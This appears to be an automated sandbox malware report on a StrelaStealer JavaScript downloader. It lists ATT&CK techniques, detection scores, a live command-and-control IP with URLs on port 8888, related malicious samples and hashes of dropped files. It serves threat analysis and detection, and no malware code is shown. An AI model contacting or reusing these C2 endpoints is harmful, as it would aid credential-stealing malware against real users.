Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
6043249381237528594.js	13%	Virustotal		Browse
6043249381237528594.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/bx	0%	Avira URL Cloud	safe
http://schemas.dm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2628334723.000002144AE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1412095510.000001221C7F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1412378291.000001221C82D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1410570550.000002144AC70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/bx	net.exe, 00000007.00000003.1410713121.000001221C82D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1412378291.000001221C82D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.dm	svchost.exe, 00000009.00000002.2627045269.00000214458A7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588861
Start date and time:	2025-01-11 06:23:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	6043249381237528594.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.6.155.20, 172.202.163.200, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:24:41	API Interceptor	21x Sleep call for process: powershell.exe modified
00:24:45	API Interceptor	1x Sleep call for process: net.exe modified
00:24:45	API Interceptor	2x Sleep call for process: svchost.exe modified
00:24:53	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	13.107.246.45
	T1#U5b89#U88c5#U53051.0.1.msi	Get hash	malicious	Unknown	Browse	13.107.246.45
	Xre0Nmqk09.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	13.107.246.45
	22736232701915520651.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	53198678114324144.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	xCSONUFhmq.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	5n2U8ZZZbc.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	iJCj3AQIBC.exe	Get hash	malicious	RevengeRAT	Browse	13.107.246.45
	leUmNO9XPu.exe	Get hash	malicious	HawkEye, MailPassView	Browse	13.107.246.45
bg.microsoft.map.fastly.net	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	16001220953190821144.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	8708187442773418429.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	20314304422672320911.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2272523722022218526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225803042163626345.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	522327491130758262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1574285771252416900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	201672639780846903.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49321144478364687
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztab:cJhXC9lHmutpJyiRDeJ/aUKrDgnmF
MD5:	A3D4725BA67321F3C5F127EA2CA482F0
SHA1:	C86892C957A897338215BBBAE34FEC2E474F71FD
SHA-256:	85DA2BAC51264A357A9DC90643F344D22AB1A7233AAD6188FA8B54B6466DC837
SHA-512:	82BBBBA203F82A2C3F984BCC172A2B7EF8C338D0C8DF1EDA4DA513760D96A9F66EBE706F27770DC138505125206EE53A21154E24E1C2379C52F6DF55B2AC33E9
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf2a5ee59, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217298349511659
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:TazaNvFv8V2UW/DLzN/w4wZi
MD5:	EBE164928D9DECCC1442C5BC4D307C28
SHA1:	E2745811B0DDE93A76CF8E1461AD682A5F485865
SHA-256:	88D6BEA07FAF3EB411356FF900F62ACFD3CD521CB7E8B9F1382E0D2911CBEF33
SHA-512:	BD78CFAF1E8CDE7153151269E477C07B673D46329FEF0AE03B16E1247F172E47BDC16F11B9BFCF1338C569E2A8A51732A51E04B68E8C231E5D41A08AE1227FD1
Malicious:	false
Preview:	..Y... ...............X\...;...{......................p.D..........{}.-....}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{......................................-....}.....................n-....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0813336552463667
Encrypted:	false
SSDEEP:	3:AcXEYe/CuRipgpsgr/fgsCrZClW/tdCYEplltall+SHY/Xl+/rQLve:AcUz/Kpgpxfgs3GEpQAS4M
MD5:	F15F61E35E71EAEB0ACE77EE1F0CB061
SHA1:	1DEB45089076FE82A8925441ED4588260CD3C283
SHA-256:	50BE8F055CA323F786AC8946347511EFBA32E186017951799B821D9981A757B0
SHA-512:	221973166072177C380BF9A83EDB592D556958B00FBD8F4E81F8AE248DB58999E1DE2F6E9501499A2C1EA6052333643BE016B2A123AEB5E1F84217C1A6E1FF3C
Malicious:	false
Preview:	](.$.....................................;...{..-....}.......{}..............{}......{}.vv_Q.....{}....................n-....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.205746575186383
Encrypted:	false
SSDEEP:	6:iOdLat+q2PqLTwi2nKuAl9OmbnIFUtXL8ZmwZL8VkwOqLTwi2nKuAl9OmbjLJ:7dGov8wZHAahFUtXg/ZI5TwZHAaSJ
MD5:	71AA3710E8B8C7C97D830EFB4DFA7010
SHA1:	01F38B26EB6C961518AE0AB311F676E3D3CBC74E
SHA-256:	9067A368B137DE72F4F9F943178098AC2B00CCA0D2F8652A9A4F467B4E652948
SHA-512:	47E4DF98A4B87D86F03C4ED8B0A8B165257517D529524611DE5A4FCE503E98CFD57A2683A719BFF10C5323161364B3DD02D4B2008F1843E1A1FED770901037CF
Malicious:	false
Preview:	2025/01/11-00:24:45.655 1f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:24:45.657 1f08 Recovering log #3.2025/01/11-00:24:45.657 1f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.205746575186383
Encrypted:	false
SSDEEP:	6:iOdLat+q2PqLTwi2nKuAl9OmbnIFUtXL8ZmwZL8VkwOqLTwi2nKuAl9OmbjLJ:7dGov8wZHAahFUtXg/ZI5TwZHAaSJ
MD5:	71AA3710E8B8C7C97D830EFB4DFA7010
SHA1:	01F38B26EB6C961518AE0AB311F676E3D3CBC74E
SHA-256:	9067A368B137DE72F4F9F943178098AC2B00CCA0D2F8652A9A4F467B4E652948
SHA-512:	47E4DF98A4B87D86F03C4ED8B0A8B165257517D529524611DE5A4FCE503E98CFD57A2683A719BFF10C5323161364B3DD02D4B2008F1843E1A1FED770901037CF
Malicious:	false
Preview:	2025/01/11-00:24:45.655 1f08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:24:45.657 1f08 Recovering log #3.2025/01/11-00:24:45.657 1f08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.125019879293454
Encrypted:	false
SSDEEP:	6:iOdLSHNAQL+q2PqLTwi2nKuAl9Ombzo2jMGIFUtXLS2EAGKWZmwZLSfvQLVkwOqP:7dmH3+v8wZHAa8uFUtXm2oKW/ZmwV5Tn
MD5:	887C2F317F17DC8943FD3754A3885E5F
SHA1:	D721A163A3FD5739063A6242576AAA16C91C1CB4
SHA-256:	C99428E745BABE7C75A69038BAAEA8CD62DE72393B60671441FEB133BC165444
SHA-512:	A1B46B2A0371895449CD39B4E0A2AEB4B7C1690F153601B4ECDAD9317C792387E2954F6CF15E37263E0CF2724DFD3EF2B0602069B51B2E21941F35DAC1801618
Malicious:	false
Preview:	2025/01/11-00:24:45.770 eec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:24:45.772 eec Recovering log #3.2025/01/11-00:24:45.773 eec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.125019879293454
Encrypted:	false
SSDEEP:	6:iOdLSHNAQL+q2PqLTwi2nKuAl9Ombzo2jMGIFUtXLS2EAGKWZmwZLSfvQLVkwOqP:7dmH3+v8wZHAa8uFUtXm2oKW/ZmwV5Tn
MD5:	887C2F317F17DC8943FD3754A3885E5F
SHA1:	D721A163A3FD5739063A6242576AAA16C91C1CB4
SHA-256:	C99428E745BABE7C75A69038BAAEA8CD62DE72393B60671441FEB133BC165444
SHA-512:	A1B46B2A0371895449CD39B4E0A2AEB4B7C1690F153601B4ECDAD9317C792387E2954F6CF15E37263E0CF2724DFD3EF2B0602069B51B2E21941F35DAC1801618
Malicious:	false
Preview:	2025/01/11-00:24:45.770 eec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:24:45.772 eec Recovering log #3.2025/01/11-00:24:45.773 eec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\748ce650-26e6-473e-87d7-17883280656b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969550278956958
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAVsBdOg2HPAcaq3QYiub5P7E4T3y:Y2sRdskdMHPr3QYhbt7nby
MD5:	34521A86D9946C50742A9555D5842F95
SHA1:	6A375FB30CA3CAE970D01BAF065C611EA24617EE
SHA-256:	2E15B848E8430489561ED9F0F9849645915E673F791A9E6DCB20F14C5AC853DC
SHA-512:	21E23C6BBB39D5BD43A5B694766B9F68541073011599E5A79FFC7CB9577DD4D071A7CDA0205A799CEB2A1856FC786BDE5C79E04C8573C8A7FD9EB373080FE2A5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133097475377","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130967},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969550278956958
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqAVsBdOg2HPAcaq3QYiub5P7E4T3y:Y2sRdskdMHPr3QYhbt7nby
MD5:	34521A86D9946C50742A9555D5842F95
SHA1:	6A375FB30CA3CAE970D01BAF065C611EA24617EE
SHA-256:	2E15B848E8430489561ED9F0F9849645915E673F791A9E6DCB20F14C5AC853DC
SHA-512:	21E23C6BBB39D5BD43A5B694766B9F68541073011599E5A79FFC7CB9577DD4D071A7CDA0205A799CEB2A1856FC786BDE5C79E04C8573C8A7FD9EB373080FE2A5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381133097475377","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130967},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.226906011220316
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oz6SE3L1GN4:1CDLCmPj8j0/8qKgwPHYPx8xemT8Oz6v
MD5:	33E830948DBC309726729CD220D8C114
SHA1:	C07D191C5D0416C86A92D3B159AA1A985667CA68
SHA-256:	00AD1F8C80F1E4570E7759632AA4A346B1B998D517F54698DEBD129ABF920FDC
SHA-512:	FE3835B22E9DED61851D5777929E1E6316D7E0C8F86FF55BE2F5CD175844AD63D826847332C49B3FFE2DC8913BFA700163274406B8BA2109304A136A3C9DA41A
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.1652693446944795
Encrypted:	false
SSDEEP:	6:iOdLRcrSwQL+q2PqLTwi2nKuAl9OmbzNMxIFUtXLgOAGKWZmwZLQwQLVkwOqLTw9:7dtN+v8wZHAa8jFUtXPKW/ZQV5TwZHAo
MD5:	A366DEF0D300DC889C9D7C40149D598D
SHA1:	6EB2E9FF39D0F6CF952079D52E75F7DE4B4C4469
SHA-256:	5BE3A89AE77C52CF09379DF4F715B68C20C9FA021750B550C153E9ED9FF61771
SHA-512:	6B35C465204D2E3E7F11952680A075B652732A20655E6A47A2ADCEA14D2AEB051BDF0C01FCCE629E5E823391B54149D9B7F1728B850B1D7D4CA3EEC38B72BC31
Malicious:	false
Preview:	2025/01/11-00:24:45.869 eec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:24:45.870 eec Recovering log #3.2025/01/11-00:24:45.871 eec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.1652693446944795
Encrypted:	false
SSDEEP:	6:iOdLRcrSwQL+q2PqLTwi2nKuAl9OmbzNMxIFUtXLgOAGKWZmwZLQwQLVkwOqLTw9:7dtN+v8wZHAa8jFUtXPKW/ZQV5TwZHAo
MD5:	A366DEF0D300DC889C9D7C40149D598D
SHA1:	6EB2E9FF39D0F6CF952079D52E75F7DE4B4C4469
SHA-256:	5BE3A89AE77C52CF09379DF4F715B68C20C9FA021750B550C153E9ED9FF61771
SHA-512:	6B35C465204D2E3E7F11952680A075B652732A20655E6A47A2ADCEA14D2AEB051BDF0C01FCCE629E5E823391B54149D9B7F1728B850B1D7D4CA3EEC38B72BC31
Malicious:	false
Preview:	2025/01/11-00:24:45.869 eec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:24:45.870 eec Recovering log #3.2025/01/11-00:24:45.871 eec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438233662377396
Encrypted:	false
SSDEEP:	384:ye+ci5GpiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pFurVgazUpUTTGt
MD5:	0C875641E3E58442690D027AB8CD65D2
SHA1:	D160EB30B9FC5FAF5D8CD74C098C4932B4EED7F5
SHA-256:	210A487E3B48E2D5C4EF4CE312817FE439958EE54AC61BBD3EFEBD65D8191143
SHA-512:	11168E3F5583B0DB4399C1AFB23369E7ACC288AC0C82594CD854AC4C843D6F04C5802B6478DDE8FA6F0505B8454B01C4EDA1E388FCE500441DC3720FE3209EF8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.766720754466066
Encrypted:	false
SSDEEP:	48:7MxJioyV1ioyZoy1C7oy16oy17KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OD:7yJu1DuXjBi8b9IVXEBodRBkZ
MD5:	C45103A9C360A71B03B9C3CD89A49313
SHA1:	9382FD74C420D25612D0B2FCFF29DE9B2DE635EE
SHA-256:	A44E7486BAD53BD99913898E8AC77C888740BFB85690A1C6A56C9F682C9A2A0E
SHA-512:	0E9B405C8ECE1AB04176F24003C7EB528F7E71C4A5039B4EB3AB31E7AE55EFDDECA84BF445B413284CD56631F55D86518463FB5FDCD132C1AD3B3E47553A63A2
Malicious:	false
Preview:	.... .c.......V................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
